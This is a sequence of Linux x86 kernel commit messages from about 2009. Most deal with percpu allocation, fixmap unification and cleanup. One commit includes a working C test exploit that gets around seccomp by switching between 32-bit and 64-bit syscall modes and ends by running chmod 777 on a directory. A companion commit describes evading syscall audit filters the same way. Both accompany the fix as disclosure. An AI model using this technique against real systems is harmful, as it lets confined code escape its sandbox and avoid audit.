Impact: add reserved allocation functionality and use it for module
percpu variables
This patch implements reserved allocation from the first chunk. When
setting up the first chunk, arch can ask to set aside certain number
of bytes right after the core static area which is available only
through a separate reserved allocator. This will be used primarily
for module static percpu variables on architectures with limited
relocation range to ensure that the module perpcu symbols are inside
the relocatable range.
If reserved area is requested, the first chunk becomes reserved and
isn't available for regular allocation. If the first chunk also
includes piggy-back dynamic allocation area, a separate chunk mapping
the same region is created to serve dynamic allocation. The first one
is called static first chunk and the second dynamic first chunk.
Although they share the page map, their different area map
initializations guarantee they serve disjoint areas according to their
purposes.
If arch doesn't setup reserved area, reserved allocation is handled
like any other allocation.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: reduce unnecessary memory usage on certain configurations
Embedding percpu allocator allocates unit_size *
smp_num_possible_cpus() bytes consecutively and use it for the first
chunk. However, if the static area is small, this can result in
excessive prellocated free space in the first chunk due to
PCPU_MIN_UNIT_SIZE restriction.
This patch makes embedding percpu allocator preallocate only what's
necessary as described by PERPCU_DYNAMIC_RESERVE and return the
leftover to the bootmem allocator.
Signed-off-by: Tejun Heo <tj@kernel.org>
Impact: argument semantic cleanup
In pcpu_setup_first_chunk(), zero @unit_size and @dyn_size meant
auto-sizing. It's okay for @unit_size as 0 doesn't make sense but 0
dynamic reserve size is valid. Alos, if arch @dyn_size is calculated
from other parameters, it might end up passing in 0 @dyn_size and
malfunction when the size is automatically adjusted.
This patch makes both @unit_size and @dyn_size ssize_t and use -1 for
auto sizing.
Signed-off-by: Tejun Heo <tj@kernel.org>
They are used by __set_fixmap->set_pte_vaddr_pud, which can
be used by arch_setup_additional_pages(), and so is used
after init.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
The function seems to have disappeared at some point, leaving
some vestigial prototypes behind...
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c.
The declaration of the function is kept in asm/numa_32.h because
asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we
can't put the empty static inline function there.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch introduces a common arch/x86/mm/init.c and moves the identical
free_init_pages() and free_initmem() functions to the file.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078906.2675.18.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch ports commit 3c1df68b84 ("x86: make
sure initmem is writable") to the 64-bit version to unify implementations of
free_init_pages().
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
Cc: Arjan van de Ven <arjan@linux.intel.com>
LKML-Reference: <1236078904.2675.17.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch adds sanity checks that are already in init_64.c to init_32.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236078902.2675.16.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
This patch changes find_early_table_space() to use roundup() for rounding up
tables to page size to unify the common parts of the 32-bit and 64-bit
implementations.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077705.2675.6.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: cleanup
The __VMALLOC_RESERVE global variable is not used in init_32.c. Move that to
pgtable_32.c to reduce the diff between init_32.c and init_64.c.
Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236077704.2675.4.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix stuck NMIs and non-working oprofile on certain CPUs
Resetting the counter width of the performance counters on Intel's
Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
This should fix bug #12395:
http://bugzilla.kernel.org/show_bug.cgi?id=12395
Signed-off-by: Tim Blechmann <tim@klingt.org>
Signed-off-by: Robert Richter <robert.richter@amd.com>
LKML-Reference: <20090303100412.GC10085@erda.amd.com>
Cc: <stable@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix bad frame in rt_sigreturn on 64-bit
After commit 97286a2b64 some applications
fail to return from signal handler:
[ 145.150133] firefox[3250] bad frame in rt_sigreturn frame:00007f902b44eb28 ip:352e80b307 sp:7f902b44ef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]
[ 665.519017] firefox[5420] bad frame in rt_sigreturn frame:00007faa8deaeb28 ip:352e80b307 sp:7faa8deaef70 orax:ffffffffffffffff in libpthread-2.9.so[352e800000+17000]
The root cause is forgetting to keep 64 byte aligned value of
fpstate for next stack pointer calculation.
Reported-by: Jaswinder Singh Rajput <jaswinder@kernel.org>
Reported-by: Mike Galbraith <efault@gmx.de>
Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
LKML-Reference: <49AC85C1.7060600@ct.jp.nec.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix failed EFI bootup in certain circumstances
Ying Huang found init_memory_mapping() has problem with small ranges
less than 2M when he tried to direct map the EFI runtime code out of
max_low_pfn_mapped.
It turns out we never considered that case and didn't check the range...
Reported-by: Ying Huang <ying.huang@intel.com>
Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Brian Maly <bmaly@redhat.com>
LKML-Reference: <49ACDDED.1060508@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
* 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
fix warning in io_mapping_map_wc()
x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases, audit_syscall_entry() will use the wrong system
call number table and the wrong system call argument registers. This
could be used to circumvent a syscall audit configuration that filters
based on the syscall numbers or argument details.
Signed-off-by: Roland McGrath <roland@redhat.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
The virtually mapped percpu space causes us two problems:
- for hypercalls which take an mfn, we need to do a full pagetable
walk to convert the percpu va into an mfn, and
- when a hypercall requires a page to be mapped RO via all its aliases,
we need to make sure its RO in both the percpu mapping and in the
linear mapping
This primarily affects the gdt and the vcpu info structure.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Tejun Heo <htejun@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Its the correct thing to do before using the struct in a prototype.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
With x86-32 and -64 using the same mechanism for managing the
tss io permissions bitmap, large chunks of process*.c are
trivially unifyable, including:
- exit_thread
- flush_thread
- __switch_to_xtra (along with tsc enable/disable)
and as bonus pickups:
- sys_fork
- sys_vfork
(Note: asmlinkage expands to empty on x86-64)
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: remove 32-bit optimization to prepare unification
x86-32 and -64 differ in the way they context-switch tasks
with io permission bitmaps. x86-64 simply copies the next
tasks io bitmap into place (if any) on context switch. x86-32
invalidates the bitmap on context switch, so that the next
IO instruction will fault; at that point it installs the
appropriate IO bitmap.
This makes context switching IO-bitmap-using tasks a bit more
less expensive, at the cost of making the next IO instruction
slower due to the extra fault. This tradeoff only makes sense
if IO-bitmap-using processes are relatively common, but they
don't actually use IO instructions very often.
However, in a typical desktop system, the only process likely
to be using IO bitmaps is the X server, and nothing at all on
a server. Therefore the lazy context switch doesn't really win
all that much, and its just a gratuitious difference from
64-bit code.
This patch removes the lazy context switch, with a view to
unifying this code in a later change.
Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Remove __cpuinitdata section placement for translation_table
structure, since it is referenced from a functions within .text.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Remove __init section placement for some functions/data, so that
we don't get section mismatch warnings.
Also make inline function instead of empty setup_summit macro.
[v2]
One of them was not caught by
DEBUG_SECTION_MISMATCH=y
magic. Fix it.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Remove __init section placement for some functions, so that we don't
get section mismatch warnings.
[v2]:
2 of them were not caught by
DEBUG_SECTION_MISMATCH=y
magic. Fix it.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Cc: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: H. Peter Anvin <hpa@zytor.com>
Perform same-cluster checking even for masks with all (nr_cpu_ids)
bits set and report correct apicid on success instead.
While at it, convert it to for_each_cpu and newer cpumask api.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Perform same-cluster checking even for masks with all (nr_cpu_ids)
bits set and report BAD_APICID on failure.
While at it, convert it to for_each_cpu.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Remove es7000_cpu_mask_to_apicid_cluster completely, because it's
almost the same as es7000_cpu_mask_to_apicid except 2 code paths.
One of them is about to be removed soon, the another should be
BAD_APICID (it's a fail path).
The _cluster one was not invoked on apic->cpu_mask_to_apicid_and
anyway, since there was no _cluster_and variant.
Also use newer cpumask functions.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
The ones which go only into struct apic are de-inlined
by compiler anyway, so remove the inline specifier from them.
Afterwards, remove bigsmp_setup_portio_remap completely as it
is unused.
Signed-off-by: Jiri Slaby <jirislaby@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: standardize IO on cached ops
On modern CPUs it is almost always a bad idea to use non-temporal stores,
as the regression in this commit has shown it:
30d697f: x86: fix performance regression in write() syscall
The kernel simply has no good information about whether using non-temporal
stores is a good idea or not - and trying to add heuristics only increases
complexity and inserts fragility.
The regression on cached write()s took very long to be found - over two
years. So dont take any chances and let the hardware decide how it makes
use of its caches.
The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are
absolutely sure that another entity (the GPU) will pick up the dirty
data immediately and that the CPU will not touch that data before the
GPU will.
Also, keep the _nocache() primitives to make it easier for people to
experiment with these details. There may be more clear-cut cases where
non-cached copies can be used, outside of filemap.c.
Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
This reverts commit 17581ad812.
Sitsofe Wheeler reported that /dev/dri/card0 is MIA on his EeePC 900
and bisected it to this commit.
Graphics card is an i915 in an EeePC 900:
00:02.0 VGA compatible controller [0300]:
Intel Corporation Mobile 915GM/GMS/910GML
Express Graphics Controller [8086:2592] (rev 04)
( Most likely the ioremap() of the driver failed and hence the card
did not initialize. )
Reported-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Bisected-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Cc: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: fix new breakages introduced by previous fix
Commit c132937556 tried to clean up
bootmem arch wrapper but it wasn't quite correct. Before the commit,
the followings were broken.
* Low level interface functions prefixed with __ ignored arch
preference.
* reserve_bootmem(...) can't be mapped into
reserve_bootmem_node(NODE_DATA(0)->bdata, ...) because the node is
not preference here. The region specified MUST fall into the
specified region; otherwise, it will panic.
After the commit,
* If allocation fails for the arch preferred node, it should fallback
to whatever is available. Instead, it simply failed allocation.
There are too many internal details to allow generic wrapping and
still keep things simple for archs. Plus, all that arch wants is a
way to prefer certain node over another.
This patch drops the generic wrapping around alloc_bootmem_core() and
add alloc_bootmem_core() instead. If necessary, arch can define
bootmem_arch_referred_node() macro or function which takes all
allocation information and returns the preferred node. bootmem
generic code will always try the preferred node first and then
fallback to other nodes as usual.
Breakages noted and changes reviewed by Johannes Weiner.
Signed-off-by: Tejun Heo <tj@kernel.org>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Impact: unification
show_cpuinfo_core is identical for 32 and 64 bit and can be unified,
and CONFIG_X86_HT inherently depends on CONFIG_X86_SMP.
Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Add missing __user annotation to the parameter of get_sigframe().
Also change cast type to void __user * of *fpstate.
Signed-off-by: Hiroshi Shimamoto <h-shimamoto@ct.jp.nec.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Impact: unification
This patch unify fixmap_32.h and fixmap_64.h into fixmap.h.
Things that we can't merge now are using CONFIG_X86_{32,64}
(e.g.:vsyscall and EFI)
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Just prepare fixmap for later mechanic unification.
No real modification on code.
text data bss dec hex filename
3831152 353188 372736 4557076 458914 vmlinux-32.after
3831152 353188 372736 4557076 458914 vmlinux-32.before
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: cleanup
Just prepare fixmap for later mechanic unification.
No real modification on code.
text data bss dec hex filename
4312362 527192 421924 5261478 5048a6 vmlinux-64.after
4312362 527192 421924 5261478 5048a6 vmlinux-64.before
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new fixmap allocation
FIX_EFI_IO_MAP_FIRST_PAGE is used only when EFI is enabled.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: New fixmap allocations
Add CONFIG_X86_{LOCAL,IO}_APIC to enum fixed_address.
FIX_APIC_BASE is used only when CONFIG_X86_LOCAL_APIC is
enabled and FIX_IO_APIC_BASE_* are used only when
CONFIG_X86_IO_APIC is enabled.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new interface (not yet use)
Define reserve_top_address for x86_64; only for later x86 integration.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: new interface, not yet used
Now, with these macros, x86_64 code can know where start the
permanent and non-permanent fixed mapped address.
This patch make these macros equal fixmap_32.h for future
x86 integration.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
Impact: rename
Rename __FIXADDR_SIZE to FIXADDR_SIZE
and __FIXADDR_BOOT_SIZE to FIXADDR_BOOT_SIZE.
Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
